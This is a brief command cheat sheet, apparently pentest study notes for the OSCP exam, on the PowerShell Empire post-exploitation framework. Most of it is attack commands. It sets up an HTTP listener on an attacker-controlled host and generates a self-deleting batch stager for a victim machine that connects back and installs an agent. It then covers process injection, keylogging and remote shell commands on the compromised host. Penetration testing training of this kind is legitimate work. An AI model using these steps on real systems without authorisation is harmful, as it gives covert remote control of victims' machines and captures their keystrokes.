PowerShell Empire

Empire is a post-exploitation framework that includes PowerShell and Python.

💡 See PowerView and PowerUp.

💡 Officially allowed during the OSCP exam according to the OSCP Exam FAQ

• EmpireProject (GitHub)

Installation

sudo apt install powershell-empire

Help

sudo powershell-empire -h

Within the client, type “help”.

Start Empire

Version 4.0.0+ is server-client architecture.

sudo powershell-empire server

sudo powershell-empire client

Listeners

Execute commands within the PowerShell Empire client.

Stagers are equivalent to Msfvenom payload that are executed on a victim machine and connect back to the listener.

List listeners

listeners

Start a listener

The “redirector” listener creates a pivot that enables communications with an internal network through a compromised host.

Listener “http” is equivalent to windows/meterpreter/reverse_http.

uselistener http
set Host x.x.x.x
set Port 80
execute

Stager – Self-deleting batch file

The stager needs to be transferred and executed on the victim machine.

usestager windows/launcher_bat
set Listener http
execute

Main menu

main

Agents

Once the stager is executed on the victim machine, an agent is created on the victim (final payload retrieved by the stager).

List agents

agents

Connect to the agent

interact <agent name>

List available commands

help

Processes

ps

Migrate payload to another process

NOTE: The original agents remains active. Manually switch to the new agent.

psinject <listener type> <process ID>
agents
interact <agent name>

psinject http 1234

Keylogger

keylog

Shell commands

shell <command>

shell dir

shell "dir somefile.txt"